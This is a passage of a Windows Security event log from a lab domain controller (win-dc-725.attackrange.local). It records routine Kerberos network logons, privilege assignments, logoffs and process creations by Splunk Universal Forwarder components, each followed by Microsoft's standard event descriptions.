	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49249

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:47:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256805
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x462129

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:48:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256809
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb5c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:48:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256808
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:48:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256810
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc58
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:48:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256811
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x132c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:48:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256812
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:48:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256813
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:48:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256814
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:48:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256817
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4656A3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:48:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256816
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4656A3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49263

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:48:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256815
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4656A3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:49:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256819
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x111c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:49:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256818
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:49:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256820
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:49:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256821
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:49:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256822
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1218
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:49:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256823
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:49:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256824
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:49:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256827
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x468C82

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:49:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256826
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x468C82
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49276

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:49:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256825
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x468C82

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:50:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256829
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
